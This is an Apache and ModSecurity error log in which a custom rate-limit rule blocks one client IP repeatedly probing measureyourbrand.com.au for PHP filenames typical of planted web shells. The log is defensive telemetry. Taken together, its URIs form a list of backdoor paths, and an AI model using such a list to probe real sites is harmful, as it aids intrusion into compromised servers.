[Mon Apr 13 21:55:25.775512 2026] [:error] [pid 63311:tid 63387] [client 74.248.132.51:61531] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adz1zaHjrGN1MqBCVFkXBAAAAJA"]
[Mon Apr 13 21:55:26.566733 2026] [:error] [pid 63310:tid 63367] [client 74.248.132.51:51730] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adz1znoXpRU5ztmwPjJrCQAAAFc"]
[Mon Apr 13 21:55:27.207012 2026] [:error] [pid 63309:tid 63326] [client 74.248.132.51:57183] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adz1z0pIKZ10weXpf0U3EAAAAA0"]
[Mon Apr 13 21:55:27.885734 2026] [:error] [pid 9314:tid 9318] [client 74.248.132.51:7212] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adz1z2_r4W8fX2GWyGQ7JgAAAYI"]
[Mon Apr 13 21:55:28.676898 2026] [:error] [pid 57183:tid 57194] [client 74.248.132.51:61452] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adz10DDO3t8R5NaxzYRmSwAAAUk"]
[Mon Apr 13 21:55:29.594940 2026] [:error] [pid 63406:tid 63432] [client 74.248.132.51:7427] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adz10bHZEIkQ0Zmgp5riAQAAANU"]
[Mon Apr 13 21:55:30.378969 2026] [:error] [pid 57183:tid 57198] [client 74.248.132.51:61478] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adz10jDO3t8R5NaxzYRmTwAAAU0"]
[Mon Apr 13 21:55:31.034301 2026] [:error] [pid 63311:tid 63388] [client 74.248.132.51:61457] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adz106HjrGN1MqBCVFkXBwAAAJE"]
[Mon Apr 13 21:55:31.765376 2026] [:error] [pid 57183:tid 57208] [client 74.248.132.51:61536] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/upll22.php"] [unique_id "adz10zDO3t8R5NaxzYRmVAAAAVc"]
[Mon Apr 13 21:55:32.352467 2026] [:error] [pid 57183:tid 57204] [client 74.248.132.51:61557] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/upll22.php"] [unique_id "adz11DDO3t8R5NaxzYRmVQAAAVM"]
[Mon Apr 13 21:55:33.133163 2026] [:error] [pid 9314:tid 9317] [client 74.248.132.51:57171] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/upll22.php"] [unique_id "adz11W_r4W8fX2GWyGQ7KwAAAYE"]
[Mon Apr 13 21:55:33.661858 2026] [:error] [pid 9314:tid 9333] [client 74.248.132.51:54344] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/upll22.php"] [unique_id "adz11W_r4W8fX2GWyGQ7LAAAAZE"]
[Mon Apr 13 21:55:34.792016 2026] [:error] [pid 57183:tid 57191] [client 74.248.132.51:7970] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "adz11jDO3t8R5NaxzYRmWQAAAUY"]
[Mon Apr 13 21:55:36.756843 2026] [:error] [pid 63309:tid 63324] [client 74.248.132.51:51719] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "adz12EpIKZ10weXpf0U3EQAAAAs"]
[Mon Apr 13 21:55:40.764426 2026] [:error] [pid 7228:tid 7236] [client 74.248.132.51:63946] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "adz13AEnn1dQrOSHHNWvDAAAAQY"]
[Mon Apr 13 21:55:46.058675 2026] [:error] [pid 7228:tid 7243] [client 74.248.132.51:7435] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "adz14gEnn1dQrOSHHNWvFwAAAQ0"]
[Mon Apr 13 21:55:47.951999 2026] [:error] [pid 7228:tid 7251] [client 74.248.132.51:51729] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "adz14wEnn1dQrOSHHNWvGwAAARU"]
[Mon Apr 13 21:55:48.706251 2026] [:error] [pid 63406:tid 63412] [client 74.248.132.51:61558] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "adz15LHZEIkQ0Zmgp5riGQAAAME"]
[Mon Apr 13 21:55:49.701217 2026] [:error] [pid 63406:tid 63415] [client 74.248.132.51:51758] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "adz15bHZEIkQ0Zmgp5riHAAAAMQ"]
[Mon Apr 13 21:55:50.271998 2026] [:error] [pid 57183:tid 57204] [client 74.248.132.51:7486] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "adz15jDO3t8R5NaxzYRmigAAAVM"]
[Mon Apr 13 21:55:51.143163 2026] [:error] [pid 63406:tid 63428] [client 74.248.132.51:61476] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-243.php"] [unique_id "adz157HZEIkQ0Zmgp5riIwAAANE"]
[Mon Apr 13 21:55:51.852511 2026] [:error] [pid 63310:tid 63356] [client 74.248.132.51:61454] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-243.php"] [unique_id "adz153oXpRU5ztmwPjJrJQAAAEw"]
[Mon Apr 13 21:55:52.849120 2026] [:error] [pid 57183:tid 57200] [client 74.248.132.51:61458] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-243.php"] [unique_id "adz16DDO3t8R5NaxzYRmkwAAAU8"]
[Mon Apr 13 21:55:53.545437 2026] [:error] [pid 9314:tid 9334] [client 74.248.132.51:7437] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-243.php"] [unique_id "adz16W_r4W8fX2GWyGQ7XQAAAZI"]
[Mon Apr 13 21:55:54.384490 2026] [:error] [pid 63310:tid 63366] [client 74.248.132.51:51712] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adz16noXpRU5ztmwPjJrLQAAAFY"]
[Mon Apr 13 21:55:55.400155 2026] [:error] [pid 7228:tid 7247] [client 74.248.132.51:57157] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adz16wEnn1dQrOSHHNWvIwAAARE"]
[Mon Apr 13 21:55:56.319704 2026] [:error] [pid 7228:tid 7238] [client 74.248.132.51:61550] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adz17AEnn1dQrOSHHNWvJQAAAQg"]
[Mon Apr 13 21:55:56.983230 2026] [:error] [pid 9314:tid 9319] [client 74.248.132.51:54342] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adz17G_r4W8fX2GWyGQ7aAAAAYM"]
[Mon Apr 13 21:55:57.708370 2026] [:error] [pid 63406:tid 63427] [client 74.248.132.51:61564] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX1.php"] [unique_id "adz17bHZEIkQ0Zmgp5riPQAAANA"]
[Mon Apr 13 21:55:58.786108 2026] [:error] [pid 63406:tid 63428] [client 74.248.132.51:7475] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX1.php"] [unique_id "adz17rHZEIkQ0Zmgp5riRgAAANE"]
[Mon Apr 13 21:55:59.669747 2026] [:error] [pid 63309:tid 63330] [client 74.248.132.51:51731] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX1.php"] [unique_id "adz170pIKZ10weXpf0U3HAAAABE"]
[Mon Apr 13 21:56:00.528621 2026] [:error] [pid 57183:tid 57196] [client 74.248.132.51:7205] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX1.php"] [unique_id "adz18DDO3t8R5NaxzYRmsQAAAUs"]
[Mon Apr 13 21:56:01.336398 2026] [:error] [pid 63406:tid 63416] [client 74.248.132.51:54360] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adz18bHZEIkQ0Zmgp5riSgAAAMU"]
[Mon Apr 13 21:56:02.017821 2026] [:error] [pid 63310:tid 63365] [client 74.248.132.51:54349] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adz18noXpRU5ztmwPjJrOwAAAFU"]
[Mon Apr 13 21:56:02.788992 2026] [:error] [pid 63310:tid 63351] [client 74.248.132.51:61484] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adz18noXpRU5ztmwPjJrPwAAAEc"]
[Mon Apr 13 21:56:04.138326 2026] [:error] [pid 63311:tid 63384] [client 74.248.132.51:57191] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adz19KHjrGN1MqBCVFkXHAAAAI0"]
[Mon Apr 13 21:56:05.681205 2026] [:error] [pid 57183:tid 57197] [client 74.248.132.51:61534] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adz19TDO3t8R5NaxzYRmvAAAAUw"]
[Mon Apr 13 21:56:21.085840 2026] [:error] [pid 63311:tid 63380] [client 74.248.132.51:7209] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adz2BaHjrGN1MqBCVFkXRQAAAIk"]
[Mon Apr 13 21:56:21.648606 2026] [:error] [pid 57183:tid 57188] [client 74.248.132.51:57169] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adz2BTDO3t8R5NaxzYRm7gAAAUM"]
[Mon Apr 13 21:56:22.444702 2026] [:error] [pid 7228:tid 7235] [client 74.248.132.51:51766] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adz2BgEnn1dQrOSHHNWvUAAAAQU"]
[Mon Apr 13 21:56:23.461877 2026] [:error] [pid 9314:tid 9322] [client 74.248.132.51:60351] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adz2B2_r4W8fX2GWyGQ7qwAAAYY"]
[Mon Apr 13 21:56:24.137925 2026] [:error] [pid 9314:tid 9325] [client 74.248.132.51:61514] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "adz2CG_r4W8fX2GWyGQ7rwAAAYk"]
[Mon Apr 13 21:56:25.998296 2026] [:error] [pid 9314:tid 9338] [client 74.248.132.51:54393] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "adz2CW_r4W8fX2GWyGQ7uAAAAZY"]
[Mon Apr 13 21:56:27.033863 2026] [:error] [pid 7228:tid 7240] [client 74.248.132.51:7451] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "adz2CwEnn1dQrOSHHNWvUwAAAQo"]
[Mon Apr 13 21:56:28.885845 2026] [:error] [pid 9314:tid 9327] [client 74.248.132.51:61470] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "adz2DG_r4W8fX2GWyGQ7wAAAAYs"]
[Mon Apr 13 21:56:30.114935 2026] [:error] [pid 63309:tid 63313] [client 74.248.132.51:7192] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "adz2DkpIKZ10weXpf0U3KAAAAAA"]
[Mon Apr 13 21:56:30.918578 2026] [:error] [pid 7228:tid 7247] [client 74.248.132.51:7182] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "adz2DgEnn1dQrOSHHNWvYQAAARE"]
[Mon Apr 13 21:56:31.834670 2026] [:error] [pid 57183:tid 57204] [client 74.248.132.51:51737] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "adz2DzDO3t8R5NaxzYRm_gAAAVM"]
[Mon Apr 13 21:56:32.633777 2026] [:error] [pid 7228:tid 7232] [client 74.248.132.51:7432] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "adz2EAEnn1dQrOSHHNWvZgAAAQI"]
[Mon Apr 13 21:56:33.243565 2026] [:error] [pid 9314:tid 9338] [client 74.248.132.51:54345] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "adz2EW_r4W8fX2GWyGQ7zQAAAZY"]
[Mon Apr 13 21:56:34.391819 2026] [:error] [pid 57183:tid 57185] [client 74.248.132.51:7189] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "adz2EjDO3t8R5NaxzYRnBwAAAUA"]
[Mon Apr 13 21:56:35.453729 2026] [:error] [pid 63311:tid 63375] [client 74.248.132.51:61477] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "adz2E6HjrGN1MqBCVFkXUwAAAIQ"]
[Mon Apr 13 21:56:36.194724 2026] [:error] [pid 9314:tid 9336] [client 74.248.132.51:57159] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "adz2FG_r4W8fX2GWyGQ72AAAAZQ"]
[Mon Apr 13 21:56:36.927297 2026] [:error] [pid 57183:tid 57189] [client 74.248.132.51:47284] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/term.php"] [unique_id "adz2FDDO3t8R5NaxzYRnCgAAAUQ"]
